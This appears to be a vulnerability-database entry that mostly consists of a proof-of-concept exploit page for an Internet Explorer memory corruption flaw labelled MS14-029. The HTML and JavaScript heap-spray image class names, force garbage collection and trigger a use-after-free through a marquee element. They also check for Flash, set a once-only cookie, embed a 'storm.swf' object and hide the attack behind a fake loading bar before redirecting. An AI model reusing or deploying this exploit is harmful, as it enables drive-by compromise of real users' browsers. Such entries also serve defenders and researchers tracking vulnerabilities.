Internet Explorer MS14-029 Memory Corruption PoC

🗓️ 04 Sep 2014 00:00:00Reported by RootType
Internet Explorer memory corruption vulnerability Po

                                                &lt;!doctype html&gt;
&lt;html&gt;
&lt;head&gt;
&lt;meta http-equiv=&quot;Cache-Control&quot; content=&quot;no-cache&quot;/&gt;
&lt;script &gt;
function stc()
{
var Then = new Date();
Then.setTime(Then.getTime() + 1000 * 3600 * 24 * 7 );
document.cookie = &quot;Cookie1=d93kaj3Nja3; expires=&quot;+ Then.toGMTString();
}
function cid()
{
var swf = 0;
try {
swf = new ActiveXObject('ShockwaveFlash.ShockwaveFlash'); } catch (e) {
}
if (!swf)
return 0;
var cookieString = new String(document.cookie);
if(cookieString.indexOf(&quot;d93kaj3Nja3&quot;) == -1)
{stc(); return 1;}else{ return 0;}
}
String.prototype.repeat=function (i){return new Array(isNaN(i)?1:++i).join(this);}
var tpx=unescape (&quot;%u1414%u1414&quot;).repeat(0x60/4-1);
var ll=new Array();
for (i=0;i&lt;3333;i++)ll.push(document.createElement(&quot;img&quot;));
for(i=0;i&lt;3333;i++) ll[i].className=tpx;
for(i=0;i&lt;3333;i++) ll[i].className=&quot;&quot;;
CollectGarbage();
function b2()
{
try{xdd.replaceNode(document.createTextNode(&quot; &quot;));}catch(exception){}
try{xdd.outerText='';}catch(exception){}
CollectGarbage();
for(i=0;i&lt;3333;i++) ll[i].className=tpx;
}
function a1(){
if (!cid())
return;
document.body.contentEditable=&quot;true&quot;;
try{xdd.applyElement(document.createElement(&quot;frameset&quot;));}catch(exception){}
try{document.selection.createRange().select();}catch(exception){}
}
&lt;/ script &gt;
&lt;/head&gt;
&lt;body onload='setTimeout(&quot;a1();&quot;,2000);' onresize=b2()&gt;
&lt;marquee id=xdd &gt; &lt;/marquee&gt;
&lt;object classid=&quot;clsid:D27CDB6E-AE6D-11cf-96B8-444553540000&quot; width=&quot;1%&quot; height=&quot;1%&quot; id=&quot;FE&quot;&gt;
&lt;param name=&quot;movie&quot; value=&quot;storm.swf&quot; /&gt;
&lt;param name=&quot;quality&quot; value=&quot;high&quot; /&gt;
&lt;param name=&quot;bgcolor&quot; value=&quot;#ffffff&quot; /&gt;
&lt;param name=&quot;allowScriptAccess&quot; value=&quot;sameDomain&quot; /&gt;
&lt;param name=&quot;allowFullScreen&quot; value=&quot;true&quot; /&gt;
&lt;/object&gt;
&lt;/body&gt;
&lt;body&gt;
&lt;form name=loading&gt;
¡¡&lt;p align=center&gt; &lt;font color=&quot;#0066ff&quot; size=&quot;2&quot;&gt; Loading....,Please Wait&lt;/font&gt; &lt;font color=&quot;#0066ff&quot; size=&quot;2&quot; face=&quot;verdana&quot;&gt; ...&lt;/font&gt;
¡¡¡¡&lt;input type=text name=chart size=46 style=&quot;font-family:verdana; font-weight:bolder; color:#0066ff; background-color:#fef4d9; padding:0px; border-style:none;&quot;&gt;
¡¡¡¡
¡¡¡¡&lt;input type=text name=percent size=47 style=&quot;color:#0066ff; text-align:center; border-width:medium; border-style:none;&quot;&gt;
¡¡¡¡&lt;script &gt; ¡¡
var bar=0¡¡
var line=&quot;||&quot;¡¡
var amount=&quot;||&quot;¡¡
count()¡¡
function count(){¡¡
bar=bar+2¡¡
amount =amount + line¡¡
document.loading.chart.value=amount¡¡
document.loading.percent.value=bar+&quot;%&quot;¡¡
if (bar&lt;99)¡¡
{setTimeout(&quot;count()&quot;,500);}¡¡
else¡¡
{window.location = &quot;http://www.google.com.hk&quot;;}¡¡
}&lt;/ script &gt;
¡¡&lt;/p&gt;
&lt;/form&gt;
&lt;p align=&quot;center&quot;&gt; Wart,&lt;a style=&quot;text-decoration: none&quot; href=&quot;http://www.google.com.hk&quot;&gt; &lt;font color=&quot;#FF0000&quot;&gt; kick me&lt;/font&gt; &lt;/a&gt; .&lt;/p&gt;
&lt;/body&gt;
&lt;/html&gt;
04 Sep 2014 00:00Current
7.1High risk
Vulners AI Score7.1